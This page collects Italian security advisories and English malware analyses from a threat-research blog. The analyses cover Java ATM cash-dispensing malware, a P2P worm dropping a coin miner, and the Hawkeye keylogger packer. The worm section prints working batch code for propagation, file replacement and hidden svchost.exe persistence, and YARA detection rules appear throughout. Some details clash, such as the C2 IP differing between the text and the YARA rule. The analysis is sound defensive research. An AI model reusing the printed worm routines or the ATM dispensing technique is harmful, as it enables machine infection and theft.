Gravissime Vulnerabilità all’interno di VxWorks

Proto: N060719.

Con la presente Yoroi desidera informarLa riguardo alla scoperta di una serie di vulnerabilità molto gravi all’interno dei sistemi operativi VxWorks prodotti da Wind River. VxWorks è un sistema operativo utilizzato in oltre due miliardi di dispositivi diffusi in svariati ambiti: IoT (e.g. Xerox, LG Electronics, IBM, Epson), in ambienti industriali (e.g. ABB, Mitsubishi Electric, Schneider Electric, Siemens) nei settori aerospaziali, automotive ed in equipaggiamento di rete diffuso anche in ambito Enterprise (e.g. Sonicwall, Huawei, Gujitsu, Avaya). Le criticità sono note con l’alias Urgent/11 ed includono gli identificativi CVE-2019-12256, CVE-2019-12257, CVE-2019-12255, CVE-2019-12260, CVE-2019-12261, CVE-2019-12263, CVE-2019-12258, CVE-2019-12259, CVE-2019-12262, CVE-2019-12264, CVE-2019-12265.

Parte delle vulnerabilità riguardano lacune nella gestione della memoria nello stack di rete TCP/IP, detto IPnet, presente all’interno dei sistemi operativi VxWorks, e possono essere sfruttate da attaccanti di rete per eseguire codice arbitrario nei dispositivi bersaglio. Questa serie di vulnerabilità può essere sfruttata sia da cyber-criminali opportunistici che da gruppi APT specializzati in diversi scenari di attacco, ad esempio:

Wind River ha confermato le problematiche con un apposito bollettino di sicurezza, indicando come afflitte le seguenti versioni del sistema operativo:

Non risultano invece afflitte le versioni:

Per via della potenziale diffusione ed esposizione degli asset coinvolti dalle problematiche, della loro criticità e dell’imminente rilascio di dettagli tecnici e proof of concept, Yoroi consiglia caldamente di richiedere informazioni ed aggiornamenti ai Vendor dei dispositivi basati su VxWorks presenti all’interno delle Vostre reti, di monitorare e pianificare l’applicazione degli aggiornamenti di sicurezza disponibili.

Yoroi consiglia infine di mantenere alto il livello di consapevolezza degli utenti, avvisandoli periodicamente delle minacce in corso e di utilizzare un team di esperti per salvaguardare la sicurezza del perimetro "cyber". Per avere un indice di minaccia in tempo reale si consiglia di visitare il seguente link: Yoroi Cyber Security Index

Java ATM Malware: The Insider Threat Phantom

Introduction

Recently our attention was caught by a really particular malware sample most probably linked to recent cyber criminal operation against the banking sector.

This piece of malicious code is a so called "ATM malware": a malicious tool  part of a criminal arsenal able to interact with Automatic Teller Machine. ATM malware are used in modern bank robberies due to their ability to access the cash dispenser hardware, such as ATMitch malware we analyzed on last May. In that case the malware was relying on the XFS (EXtension for Financial Service) API to “jackpot” the infected machine.

Instead, this particular ATM malware does not rely on standard communication interfaces. It is using other more specific techniques, suggesting an increased level of customization, maybe achieved by leveraging knowledge from the inside of the target organizations.

For this reason Yoroi-Cybaze ZLAB team decided to dig into this malicious tool.

Technical Report

Hash0149667c0f8cbfc216ef9d1f3154643cbbf6940e6f24a09c92a82dd7370a5027
ThreatJava ATM Dispenser 
Brief DescriptionJava ATM Malware
Ssdeep6144:gm/yO7AN3q8QjcAcZ7qFx6Jo7tpYRC3ivnZj+Y5H:2O7AN35QYJZ2TlSkivZjR

Table 1. Info about the sample

The malware makes extensive use of Java Instrumentation techniques in order to manipulate the control flow of a legit Java-based ATM management software. The first action it performs is to identify the proper running Java Virtual Machine (JVM) used by the ATM software. The malware has the capability to:

This is done using the Java Attach API, a Sun Microsystems extension that provides a mechanism to attach to a Java virtual machine.

Figure1. Code to identify the JVM

Once identified the target JVM, the malware forces the loading of a Java agent in it using the “vm.loadAgent(path_to_jar, options)” method.

Figure 2. Code to load the Java Agent from Jar file

The loader identifies the agent class in the specified JAR file using the “MANIFEST.MF” file embedded into it, then it loads the class into the target JVM’s context.

Figure 3. Jar’s manifest file containing the agent class name

At this point, the main class terminates printing the banner “Freedom and glory” in different languages, as shown in Figure 2. Now, the control flow moves to the “agentmain” method belonging to Agent class. Its only goal is to invoke the “startagent” method through the following code line:

getDeclaredMethod("startagent", String.class, Instrumentation.class).invoke((Object)null, agentArgs, ints);

The malicious intents of the malware are exhibited starting from this method. It deploys an HTTP server which acts as an interface between the attacker and the ATM under attack.

Figure 4. Code to start the HTTP server

Exploring the HTTP handler class, in fact, some suspicious information immediately emerges. In the following figure it is possible to see a hardcoded IP address “150.100.248[.]18” which will be used later. Moreover, this class embeds three static variables containing Javascript code (one of this is Base64 encoded).

Figure 5. Static strings embedded into HTTP server code

Continuing the code analysis, we encounters the server logic, which provides several functionalities that can be triggered by the attacker using simple HTTP requests.

Figure 6. Part of server logic

It is possible to summarise all the malware capabilities, exposed through the HTTP server instance, in the following table:

HTTP MethodPathQuery stringBodyDescription
POST/-Base64-encoded commandExecute the specified command through cmdline
POST/di={id}&d={amount}Dispense the specified {amount} from the Dispenser cash unit identified by {id}
POST/d-q=1Return the current amount of each cash unit
POST/evaJS script-Execute the script using Java ScriptEngine
GET/mgrclassName1&className2-Return info about the specified running Java classes 
POST/mgrclassNamemethodInvoke the method belonging to the specified Java class
GET/core--Display an HTML form to insert info about a JAR to load
POST/core-0={Base64EncodedJAR}&1={mainClass}&2={method}&3={args}&4={type}Load a new JAR file and execute the specified method

Table 2. Malware capabilities

In the following screen, we report part of the server logic in which are highlighted the functions used by the malware to retrieve information about the ATM cash dispenser.

Figure 7. Evaluation of HTTP request

Most malicious actions are executed using Javascript code running on top of a JavaScript engine instance (included into the “runjs” method). For example, to retrieve the amount of cash stored in the dispenser the following code is invoked:

Figure 8. Javascript code to extract information about dispenser cash units

First of all, the malware retrieves the Java class associated to the Dispenser from the list of all the running classes. Then, for each dispenser’s cash unit, it invokes the “getValue” and “getActual” methods to obtain the right information from the dispenser interface.

A similar thing is done for money dispensing: after retrieving the associated object, the malware removes the “AnomalyHandler” using the “removeAnomalyHandler” method in order to stealthily achieve its objectives.

Figure 9. Javascript code used to remove the anomaly handler from dispenser

After that, it iterates the cash units dispensing the amount of bills specified by the criminals through the following function calls sequence:

At the end of the theft, the malware restores the “AnomalyHandler”. The complete Javascript code is shown in the following figure.

 Figure 10. Javascript code used to dispense money from all the cash units

On return, the malware communicates the success of the dispense operation connecting to the abovementioned IP (“150.100.248[.]18”) stored in the “urlreport” variable.

 Figure 11. The malware contacts the embedded IP address after dispensing

This ATM malware has also additional capabilities increasing its flexibility and dangerousness. It is able to execute arbitrary batch commands, to invoke methods directly into the memory of the running Java classes and also to run new JAR applications. The “jscmd” variable, shown in Figure 5, contains the Base64-encoded Javascript snippet useful to load the commands in the Windows cmdline:

 Figure 12. Javascript code to execute batch commands

Before launching the JS script, the malware replaces the following patterns:

Then, it invokes the “java.lang.Runtime.getRuntime().exec()” function.

 Figure 13. HTML form to specify the Jar to upload and run

Instead, in the JAR loading case the attacker preconfigured an HTML form to make the upload easier. In it, the criminal can specify which JAR to load, which is the main class and which method they want to execute first. A set of tools to ensure the criminals will be able to overcome eventual technical faults in their ATM cashouts.

Conclusion

Cyber criminals are threatening financial and banking sector for a long time. During the years, criminal groups evolved their operation and developed more sophisticated arsenals, achieving customization capabilities making them able to target specific organizations, even if they are not leveraging known Industry Standards. 

As recently pointed by Kaspersky, these criminals reached such sophistication and customization levels by leveraging deep knowledge of the target systems, making the malware work just on a small fraction of the AMTs. How the crooks accessed this knowledge is the Question.

At the moment it's not clear how the technical information required to develop ad hoc malware have been accessed. A wide range of scenario are possible, such as the involvement of an insider, the long term compromise of the whole target network or just a small subset of mailboxes, or maybe a compromise of the Software Development Supply Chain. A set of scenarios that need to be seriously taken into account by the financial and banking organizations aiming to tackle modern bank thieves.

Indicato of Compromises

Hashes:

C2:

Yara Rules

rule Java_ATM_Malware {
meta:
	description = "Yara Rule for Java ATM malware"
	author = "Cybaze - Yoroi ZLab"
	last_updated = "2019-07-18"
	tlp = "white"
	category = "informational"
strings:
	$h = {50 4B 03 04}
	$s1 = "Main-Class: injx2.INJX" ascii wide
	$s2 = "Agent-Class: injx2.Agent" ascii wide
	$a1 = "150.100.246.18" ascii wide
	$a2 = "Peripheral.Dispenser" ascii wide
	$b = "sun/tools/attach/WindowsAttachProvider" ascii wide
	
condition:
	$h and 1 of ($s*) and 1 of($a*) and $b
}

This blog post was authored by Antonio Farina and Luca Mella of Cybaze-Yoroi Z-LAB

Pericolosa Campagna di Attacco TrickBot

Proto: N050719.

Con la presente Yoroi desidera informarLa riguardo ad una pericolosa campagna di attacco ai danni di Aziende ed Enti italiani. I messaggi di posta recapitati dai cyber-criminali simulano comunicazioni di vario tipo esplicitamente preparate per ingannare uffici e personale amministrativo. All’interno delle email sono presenti link volti allo scaricamento di archivi compressi malevoli: una volta aperto il contenuto dell’archivio, la vittima viene infettata con varianti malware della famiglia Trickbot.

La minaccia Trickbot è utilizzata da gruppi criminali organizzati per veicolare attacchi ransomware mirati di tipo Ryuk (TH-182), similari a quelli registrati nel mese di Giugno 2019 ai danni di importanti Azienda italiane nel settore manifatturiero. Per questa ragione si consiglia di trattare e mitigare tempestivamente i tentativi di attacco in oggetto.

Di seguito si riportano gli indicatori di compromissione a seguito delle analisi condotte:

Yoroi consiglia infine di mantenere alto il livello di consapevolezza degli utenti, avvisandoli periodicamente delle minacce in corso e di utilizzare un team di esperti per salvaguardare la sicurezza del perimetro "cyber". Per avere un indice di minaccia in tempo reale si consiglia di visitare il seguente link: Yoroi Cyber Security Index

Grave Vulnerabilità in ProFTPd

Proto: N040719.

Con la presente Yoroi desidera informarLa riguardo ad una grave vulnerabilità nell’applicativo ProFTPd, servizio FTP  cross-piattaforma largamente diffuso in vari ambienti server linux, utilizzato anche in ambito Enterprise. La criticità è nota con l’identificativo CVE-2019-12815.

Figura. Esposizione Internet servizi ProFTPd.

Un ricercatore indipendente, Tobias Mädel,  ha recentemente scoperto una importante lacuna all'interno del modulo “mod_copy” di ProFTPd, attraverso la quale un attaccante di rete in grado di inviare una serie di comandi “CPFR” e “CPTO” può riuscire a scrivere un file arbitrario sul server bersaglio. Tale condizione può comportare l’esecuzione di codice arbitrario da parte dell’attaccante e la compromissione della macchina. Il modulo "mod_copy" è abilitato di default nei pacchetti ProFTPd utilizzati in varie distribuzioni Linux, ad esempio Debian.

Il Manutentore ha confermato la problematica per le versioni per ProFTPd fino a 1.3.5 ed anche 1.3.6, per le quali sono in fase di rilascio le opportune patch. Al contempo, i Vendor di sistemi operativi Linux-based, come ad esempio Canonical e SuSE, stanno recependo gli aggiornamenti all'interno dei loro cicli di aggiornamento.

Per via della disponibilità di dettagli tecnici e della possibile esposizione dei sistemi afflitti, Yoroi consiglia caldamente di applicare gli aggiornamenti di sicurezza resi disponibili dal Manutentore e di valutare la disabilitazione , anche temporanea, di eventuali account anonimi e guest eventualmente presenti nelle configurazioni dei servizi ProFTPd.

Yoroi consiglia infine di mantenere alto il livello di consapevolezza degli utenti, avvisandoli periodicamente delle minacce in corso e di utilizzare un team di esperti per salvaguardare la sicurezza del perimetro "cyber". Per avere un indice di minaccia in tempo reale si consiglia di visitare il seguente link: Yoroi Cyber Security Index

P2P Worm Spreads Crypto-Miners in the Wild

Introduction

In the past months we published a white paper exploring the risks that users can encounter when downloading materials from P2P sharing network, such as the Torrent one. We discussed how crooks easily lure their victims to download malware along with the desired content. Recently, our threat monitoring operations pointed us to an interesting file named “Lucio Dalla Discografia Completa”: this file pretends to be  a collection of the discography of a  famous italian singer, but it actually hides malicious intents. 

For this reason, Cybaze-Yoroi ZLAB dissected this malware threat revealing its hidden virulent nature. 

Technical Analysis 

As anticipated, the file downloaded from the BitTorrent network is an executable. A quick recon revealed it actually is an SFX archive containing several other files. 

Hashf9b2e61200addf760d7bd157c73201e97257b12d5177837a1bffb98f4064e76a
ThreatMiner-Dropper
Brief DescriptionCoin-miner dropper (SFX archive)
Ssdeep98304:BbEwGxyUOn/JaYYaeY+dM6YydmOQ1zYuuUBb53+munE0dMp1oHnXZetvRfuODYN

Table 1: Static Information about the miner dropper

The usage of archive like SFX allows the attacker to hide the content of the malicious PE and significantly reduce the detection rate. Opening the sample with a common archive manager like WinRAR or 7z, unveil its content. 

Figure 1: Content of the SFX file

The archive contains more than a dozen of files. In detail it embeds:

On the right of Figure 1 it is possible to see the SFX configuration file. After the auto-extraction, the first file run is “run.vbs”. Its content is minimal and quickly redirect the execution to a small batch file, “installer.bat” contained in the same folder. Then it runs installer.bat (the filename) with the parameter "0" (WindowStyle hidden, to avoid hidden windows because it may trigger AntiViruses heuristics) and "true" (WaitOnReturn).

The content of “installer.bat” file is also minimal and points to a more complex text file "007.tmp", later renamed as "007.bat". That file weighs over 59 KB and contains more interesting functionalities.

Unlike the previous script, the “007” file performs many operations. The first one is to copy of all files contained in the extraction path directory into “#” subdirectory and to rename some of the just extracted files, suggesting some of the files are dependencies of a more complex chain.

@echo off & setlocal enabledelayedexpansion

set CURRDIR=%~dp0
md #
copy "%CURRDIR%/002.tmp" "%CURRDIR%/#/002.tmp"
copy "%CURRDIR%/003.tmp" "%CURRDIR%/#/003.tmp"
copy "%CURRDIR%/004.tmp" "%CURRDIR%/#/004.tmp"
copy "%CURRDIR%/005.tmp" "%CURRDIR%/#/005.tmp"
copy "%CURRDIR%/006.tmp" "%CURRDIR%/#/006.tmp"
copy "%CURRDIR%/007.tmp" "%CURRDIR%/#/007.tmp"
copy "%CURRDIR%/008.tmp" "%CURRDIR%/#/008.tmp"
copy "%CURRDIR%/010.tmp" "%CURRDIR%/#/010.tmp"
copy "%CURRDIR%/011.tmp" "%CURRDIR%/#/011.tmp"
copy "%CURRDIR%/013.tmp" "%CURRDIR%/#/013.tmp"
copy "%CURRDIR%/014.tmp" "%CURRDIR%/#/014.tmp"
copy "%CURRDIR%/016.tmp" "%CURRDIR%/#/016.tmp"
copy "%CURRDIR%/installer.bat" "%CURRDIR%/#/installer.bat"
copy "%CURRDIR%/run.vbs" "%CURRDIR%/#/run.vbs"
copy "%CURRDIR%/002.tmp" "%CURRDIR%/7z.exe"
copy "%CURRDIR%/003.tmp" "%CURRDIR%/7z.dll"
copy "%CURRDIR%/004.tmp" "%CURRDIR%/Default.SFX"
copy "%CURRDIR%/005.tmp" "%CURRDIR%/Rar.exe"
copy "%CURRDIR%/006.tmp" "%CURRDIR%/sfx.conf

Code Snippet 1: Copy of the files in a subfolder

After that, it generates three different files named “001.tmp”, “32.tmp” and “64.tmp”, later renamed with “.exe” suffix. They are created by mixing up the original files. In particular: “001.tmp” is created combining file “008.tmp”, “009.tmp” and “010.tmp”. The resulting executable have been split in those files, evading AV signatures. 

But this composed executable hides another interesting detail. Before merging the file slices, the script replaces part of the PE header: it overrides the “This program cannot be run in DOS mode” string with random chars, generating different files hashes at every infection. This polymorphic techniques implemented directly in bash stage is applied to all the other files chunked and embedded into the original SFX archive.

Figure 2: Generation of the custom DOS header

After that, the script tries to use the just created “Rar.exe” and “7z.exe” files to create new SFX file in other directories belonging to the P2P platforms. This trick is used to spread the attack across the file-sharing communities, to compromise much more victims and to keep the infection alive. An example of this routine is the following:

for /d /r "c:\" %%a in (preferences.ini) do (
if exist "%%a" (
for /f %%b in ('findstr /c:"IncomingDir=" "%%a"') do (
set "var=%%b"
for %%c in ("!var:~12!\*.*") do (
ECHO ERRO %random%%random%%random%%random%%random%%random%%random%%random%%random%%random% > "%CURRDIR%#\setup"
rar a -r -sfx -m5 -ep1 -zsfx.conf "%%~nc".exe #\*
7z a -tzip -mx=0 "%%~nc".zip "%%~nc".exe
del "%%~nc".exe
del "%%c"
move "%%~nc.zip" "!var:~12!\"   ))))

[...]

for /d /r "c:\" %%a in (*) do (
if /i "%%~nxa"=="my grokster" (
set "var=%%a" (
for %%c in ("!var!\*.*") do (
ECHO ERRO %random%%random%%random%%random%%random%%random%%random%%random%%random%%random% > "%CURRDIR%#\setup"
rar a -r -sfx -m5 -ep1 -zsfx.conf "%%~nc".exe #\*
7z a -tzip -mx=0 "%%~nc".zip "%%~nc".exe
del "%%~nc".exe
del "%%c"
move "%%~nc.zip" "!var!\"   ))))

Code Snippet 2: Example of propagation routine

All these actions are performed for each system drive letter, such as C:, D:, X: and so on. After that, the script looks for the Microsoft Windows OS version from “5.x” to “15.x” and finally executes several specific routines according to the target machine. These routines perform a few basic operations:

  1. Create a new directory in “%systemdrive\AppCache\x86%” and immediately hide it; 
  2. Copy the file “001.tmp” in the Startup Folder (for every OS language) renaming it as “svchost.exe” and the file 32/64.tmp in “AppCache\x86\”;
  3. Execute “001.exe” file. 
:win7
if defined PROGRAMFILES(X86) (goto x64) else (goto x86)

:x64
mkdir %systemdrive%\AppCache\x86
attrib +s +h %systemdrive%\AppCache\x86
attrib +s +h %systemdrive%\AppCache
copy /y "%CURRDIR%\001.tmp" "%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe"
copy /y "%CURRDIR%\001.tmp" "%systemdrive%\users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartUp\svchost.exe"
[...]
copy /y "%CURRDIR%\64.tmp" "%systemdrive%\AppCache\x86\svchost.exe"
attrib +h "%systemdrive%\AppCache\x86\svchost.exe"
"%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe"
"%systemdrive%\users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartUp\svchost.exe"
[...]
goto end

Code Snippet 3: Choose of the files to copy whether the target architecture is x86 or x64

At this point, the malicious control passes to the 001.exe file located in the Startup folder.

Figure 3: UPX signature evidence

The 001 File

The 001.exe is actually packed with a known version of the UPX compressor. So, the extraction of the payload is quite straight forward.

Hashb6080b2786d2e4ac30207fb2f177046cfd40fa6578c56f3dfd13abab7d62e2ea
ThreatMiner Launcher
Brief DescriptionCoin-miner Payload (001.exe) packed with UPX
Ssdeep3072:A3VD85gJFV8QncMujKCv0jqAi0hIazLEHYxWVfhn+zM45uUyvHBsV2svkgfODQ2C

Table 2: Generic info about the Miner Loader

Hash7bd25bd3c0f003ffea67c846b4fefd8fb8b4f72d836544d0ef786c5c6c63b422
ThreatMiner Launcher Decompressed
Brief DescriptionCoin-miner Payload (001.exe) unpacked
Ssdeep12288:7EyxWjS8ZZVajy6YWgHQ+oHxlJz4UE0UsZ+GmYNuuv:oyxWjS8ZZVUYWgw1Hh

Table 3: Generic info about the Miner Loader unpacked

Analyzing the decompressed binary, we noticed the malware firstly tries to run the “svchost.exe” binary contained in “%systemdrive%\AppCache\x86”, which likely is the real payload.

Figure 4: Evicends of the mining routine

The Payload

Hash73bc41504045e4e6de1b63ec40433afabf316141b1289c69905ee946e1b1a263
ThreatMiner-Payload
Brief DescriptionCoin-miner Payload (32.exe) packed with UPX (minerd)
Ssdeep73bc41504045e4e6de1b63ec40433afabf316141b1289c69905ee946e1b1a263

Table 4: Generic Information of the Coininer compiled in 32 bit (UPX packed)

Hasha3574e73234e18be8d233c9e3fa3819600fc40341d8be8fc4449e4e73632ad6d
ThreatMiner-Payload
Brief DescriptionCoin-miner Payload (64.exe) packed with UPX (minerd)
Ssdeep49152:sb5CY+muocuUwlCdMsQd1pSHn/5JKIezmMNkG7403EIlnDysnue759ByzPIYNUN

Table 5: Generic Information of the Coininer compiled in 32 bit (UPX unpacked)

The “svchost.exe” placed in the file “%systemdrive%\AppCache\x86” folder actually is one of the two files “32.exe” and “64.exe” previously created.  After unpacking routines, the results are the following.

Hash746d17e8d0b961f0c7733f155152fa54d2610fc6d117217d24f32d3ad370075e
ThreatMiner-Payload
Brief DescriptionCoin-miner Payload (32.exe) unpacked (minerd)
Ssdeep196608:aN8/juE4Be73AeWNEwVGuhcf7eVhbjYV:tuwUbK

Table 6: Generic Information of the Coininer compiled in 64 bit (UPX packed)

Hash552a4cbd2628d16d1fc910c9fc24bc426cafdf0f755f7b4013484adbc0393ca7
ThreatMiner-Payload
Brief DescriptionCoin-miner Payload (64.exe) unpacked(minerd)
Ssdeep393216:6ovgtbTTTpT1TITHThTtTwTaTtTVTFTZTlTNTbTwTuTzT1T0TtTlT1ToTlTzTVTz:6

Table 7: Generic Information of the Coininer compiled in 64 bit (UPX packed)

Obviously, these hashes changes at every infection due to the polymorphic technique implemented in the bash stage previously described. The unique purpose of “001.exe” is the execution of “32.exe” or “64.exe” contained in “%systemdrive%\AppCache\x86”, a stratum-based coinminer. Stratum is the de-facto standard protocol used by crypto-miners to connect to mining pools. 

Figure 5: Connection routine to the mining server

Exploring the sample we notice that it actually is “MinerD”, an open-source cryptomining software publicly available on GitHub

Figure 6: Comparison between the payloads (on the left) and the GitHub project (on the right)

Conclusion

This malware threat reminds us of the hidden risks of downloading material through p2p networks, along with the tricks adopted by the crooks to keep the campaign running in the wild. Indeed, this sample is able to survive across multiple p2p network by propagating to p2p shared folders configured into the victim machine, ensuring a good level of resilience from the attacker point of view.  Also, the attackers implemented polymorphic trick directly in batch language, replacing of part of the PE file header to create unique samples on each infection .

A naive or a distracted user can be lured to download infected media contents with the promise to ear his favorite musician, but this action can be compromise the machine of the victim and feed the cyber-criminals behind this campaign. This time, the consequences of such lack of awareness are quite contained, the final payload is actually a crypto-miner and the user may only experience delays or crashes, but what if the payload contains a bot a RAT, or even a ransomware? The consequences could be decisely more serious.

Indicators of Compromise

Hash

Mining Pool  (Coin-Miner): 

Yara Rules

rule LucioDalla_CoinMiner_SFX_201907 {
meta:
   	 description = "Yara Rule for SFX file of Lucio Dalla CoinMiner"
   	 author = "ZLAB Yoroi - Cybaze"
   	 last_updated = "2019-07-12"
   	 tlp = "white"
   	 category = "informational"

   strings:
      $s1 = "SFX module - Copyright (c) 2005-2012 Oleg Scherbakov"
      $s2 = "7-Zip archiver - Copyright (c) 1999-2011 Igor Pavlov" 
      $s3 = "7-Zip - Copyright (c) 1999-2011 " ascii
      $s4 = "sfxelevation" ascii wide
      $h1 = { 30 ?? ?? 2E 74 6D 70 } 
      $setup = "setup" wide ascii 

condition:
      any of ($s*) and $setup and (#h1 > 8)
}

rule LucioDalla_001_UPX_201907 {
	meta:
		description = "Yara Rule for 001 UPX file file of Lucio Dalla CoinMiner"
		author = "ZLAB Yoroi - Cybaze"
		last_updated = "2019-07-12"
		tlp = "white"
		category = "informational"

   strings:
		$s1 = "UPX" 
		$h1 = { CB 40 5A 3E 2A E5 A2 C3 } 
		$h2 = { 38 D5 CD 57 3F E4 BF 45 }
		$h3 = { 21 54 68 69 73 20 ?? ?? ?? ?? ?? ?? ?? 20 63 61 6E 6E 6F 74 20 62 65 20 72 75 }

condition:
		all of them
}

rule LucioDalla_001_Unpacked_201907 {
	meta:
		description = "Yara Rule for 001 unpacked file file of Lucio Dalla CoinMiner"
		author = "ZLAB Yoroi - Cybaze"
		last_updated = "2019-07-12"
		tlp = "white"
		category = "informational"

   strings:
		$s1 = "zPLR" 
		$s2 = "\\AppCache\\x86\\svchost.exe"
		$h1 = { 24 E8 5A CF FF FF 83 EC 04 } 
		$h2 = { 21 54 68 69 73 20 ?? ?? ?? ?? ?? ?? ?? 20 63 61 6E 6E 6F 74 20 62 65 20 72 75 }

condition:
		all of them
}

rule LucioDalla_Miner_Workers_201907 {
	meta:
		description = "Yara Rule for all CoinMiner Workers"
		author = "ZLAB Yoroi - Cybaze"
		last_updated = "2019-07-12"
		tlp = "white"
		category = "informational"

   strings:
		$upx = "UPX"
		$hpa32 = { 42 DA 92 BF 2D BB F0 B0 } 
		$hpb32 = { 2F 4D 7B 8C 83 FB 03 FF C2 }
		$hp64a = { B0 29 74 3A 48 55 04 6C 30 }
		$hp64b = { 11 60 6C A4 E9 FA 71 BE 47 }
		
		$s1 = "blowfish.c"
		$s2 = "mpih-rshift-asm"
		$s3 = { D0 67 EC 67 B6 67 AF 67 F5 }

condition:
		($upx and 2 of ($hp*)) or (all of ($s*))
}

This blog post was authored by Luigi Martire, Davide Testa and Luca Mella of Cybaze-Yoroi Z-LAB

Grave Vulnerabilità in VPN Palo Alto

Proto: N030719.

Con la presente Yoroi desidera informarLa riguardo ad una importante vulnerabilità nella VPN/SSL all’interno degli appliance di sicurezza Palo Alto, firewall di nuova generazione molto diffusi in ambito Enterprise. La criticità è nota con l’identificativo CVE-2019-1579.

La problematica è originata da lacune nella gestione degli input all’interno dei moduli di gestione della VPN/SSL “GlobalPortect”, parte del firmware PAN-OS di Palo Alto. Un attaccante remoto, sprovvisto di alcuna autenticazione, può sfruttare questa falla al fine di eseguire codice arbitrario all’interno dell’appliance stesso, compromettendone la sicurezza ed accedendo al perimetro interno.

Il Produttore ha confermato la problematica attraverso il bollettino di sicurezza PAN-SA-2019-0020, dove indica come vulnerabili i moduli SSL/VPN GlobalProtect inclusi nei firmware:

Non risulta afflitto invece PAN-OS 9.0. 

Vista la disponibilità di dettagli tecnici relativi allo sfruttamento della problematica, alla potenziale esposizione internet dei servizi afflitti ed alle potenziali conseguenze di attacchi a buon fine, Yoroi consiglia caldamente di pianificare l’applicazione degli aggiornamenti firmware resi disponibili dal Produttore, o di valutare la temporanea disabilitazione delle funzionalità GlobalProtect qualora possibile.

Yoroi consiglia infine di mantenere alto il livello di consapevolezza degli utenti, avvisandoli periodicamente delle minacce in corso e di utilizzare un team di esperti per salvaguardare la sicurezza del perimetro "cyber". Per avere un indice di minaccia in tempo reale si consiglia di visitare il seguente link: Yoroi Cyber Security Index

Anti-Debugging Techniques from a Complex Visual Basic Packer

Introduction

As we described in our previous post, one of the latest trends for the attackers is to leverage the ISO files in order to reduce detection chances. This technique has also been used by a recent Hawkeye spreading campaign.

“Hawkeye Keylogger” is an info-stealing malware for sale in the dark-web. Anyone can  easily subscribe to the malware service by paying a fee. It has been in continuous development at least since 2013  and the malware authors behind Hawkeye have improved the malware service adding new capabilities and techniques. It can collect credentials from various applications, mostly email clients, web browser and FTP clients, and send them to the crooks via various protocols such as FTP, HTTP, and SMTP.

So, our Cybaze-Yoroi ZLAB decided to take a look at this recent Hawkeye attack, tacking its anti-analysis protection and the anti-debugging techniques enforced by the Visual Basic packer used by the crooks.

Technical Analysis

The delivered file is an ISO image. Inside of it, there is a bat file, but actually is a well formed PE file. So, we can extract the “bat” file and replace its extension in “exe”.

Figure 1: Fake .bat file inside the ISO archive
Hash32951a56e3fcd8f5b006c0b64ec694ddf722eba71e2093f7ee90f57856941f3d
ThreatHawkey Spyware
Brief DescriptionHawkey Spyware inside a Visual Basic Packer
Ssdeep12288:GVwYvwrMkE9LfRUXkpW7zGidwY/rwxOp8mH:COrI9zRUJfGCfzw0

Table 1: Information about the PE file inside the ISO image

The ISO file has low AV detection rate, but only by extracting the executable from  the ISO image, the rate raises:

Figure 2: AV Detection of the ISO compressed file (left) and of the extracted file (right)

The PE file is packed with a Visual Basic 5.0 stub. It has the duty to protect the core of the malware and complicate the analysis:

Figure 3: Visual Basic packer evidence

As seen above, the malware is written in Visual Basic 5.0. So it is possible to decompile the malware through the use of the ad-hoc decompilers.

Figure 4: Visual Basic code decompilation in P-Code

The decompiled code has been translated in P-Code and it is quite obfuscated in the same way. The only solution to obtain more information about the infection mechanisms is to debug the program.

The first trick to complicate the analysis is to dynamically create a new memory section where inject some code, through the use of the “VirtualAlloc” function. The malware decodes some a piece of code, and choose a random new virtual address space to alloc memory, in this case “0x00260000” loaded into the EAX register.

Figure 5: Memory allocation through the VirtualAlloc API

The GetTickCount Anti-Debug Technique

After the context switch inside the new allocated area, the malware adopts the well known “GetTickCount()” anti-debug technique. According to the MSDN documentation, GetTickCount retrieves the number of milliseconds that have elapsed since the system was started, up to 49.7 days. This API call is used by the malicious actors to retrieve the time of the execution of the process, and if it is higher than a preset threshold, the malware terminates its execution:

Figure 6: GetTickCount routine a new address space

The first malicious action of the created address space is the invoking of the GetTickCount API and the result is:

Figure 7: GetTickCount result in EAX register

The result of the GetTickCount function is stored in EAX register. After doing some other decrypting operations, the malware invokes it another time.

Figure 8: GetTickCount subtraction anti-debug trick

After the second invocation of GetTickCount, there is immediately the subtraction of the two values and it is placed in EAX register. The next instruction is a comparison between the EAX register and a preset threshold value, “0x5DC”, which is 1500 in decimal representation. According to the Microsoft documentation, the resolution of the GetTickCount function is 10ms, thus we can deduce that the decided threshold by the cyber criminal is 15 seconds. After understood the trick, it quite easy to bypass and go on to analyze the sample.

Figure 9: ShellExecute routine to run the payload

The malware allocates another memory space to write an entire file with the MZ header and it is opened through the “ShellExecute” API function. Dumping the process in this moment, another piece of code hidden in a resource, which did not exist before the anti-debug trick, emerges:

Figure 10: Resource comparison between the original exe and the self-modified exe

As shown in the above figure, the original file (on the left) presents as resources only the icons and the manifest, instead the self-manipulated file presents a resource called “RCData” with a resource named “__”. It is the encrypted final payload.

Figure 11: Malicious resource retrieving routine

In order to protect itself and to make more difficult the analysis, the malware respawns itself through the “CreateProcessInternalW” API call:

Figure 12: Execution routine of the final payload

Now the real payload is ready to be self-decrypted with a custom internal routine. 

Figure 13: Decoding routine of the final payload

After the decryption routine, the malware copies this new code into another piece of memory through the “memcpy” function. Moreover, in order to validate the correct extraction of the payload, the malware checks if the first two bytes of the memory spare are “0x5A4D” which is “MZ” in ASCII code.

Figure 14: Validation check of the correct decoding of the final payload

Dumping the file, the real payload is unveiled.

The Payload

The extracted payload is a PE file compiled in .NET C# language with the following static information:

Hasha3aa6e220591f05f4e2ecc4f4741ac6b6715ebb2b5c42c2b7bb52142c54be30b
ThreatHawkey Spyware
Brief DescriptionHawkey Spyware obfuscated payload
Ssdeep6144:HuXT5iKKhhSHCMA2g22fB1YbcLetS7iz+K3hk:OXtxc/r1fXrwgil3h

Table 2: Static information about the final payload

The payload sample is obfuscated with the .NET Reactor tool, but the cleared version can be easily restored:

Figure 15: Usage of .NET Reactor obfuscator evidence

Below some static information of the final payload is reported:

Hasha848c84a1306ea7cc4704eced4067db1012c0bf1b9b65f8c04a8379d71464eaa
ThreatHawkey Spyware
Brief DescriptionHawkey Spyware clear payload
Ssdeep6144:37iz+K3hkCAg3JhmkuEFZ+1WjsroyGh0DBabr:Lil3hdhmOF

Table 3: Static information about the cleared version of the final payload

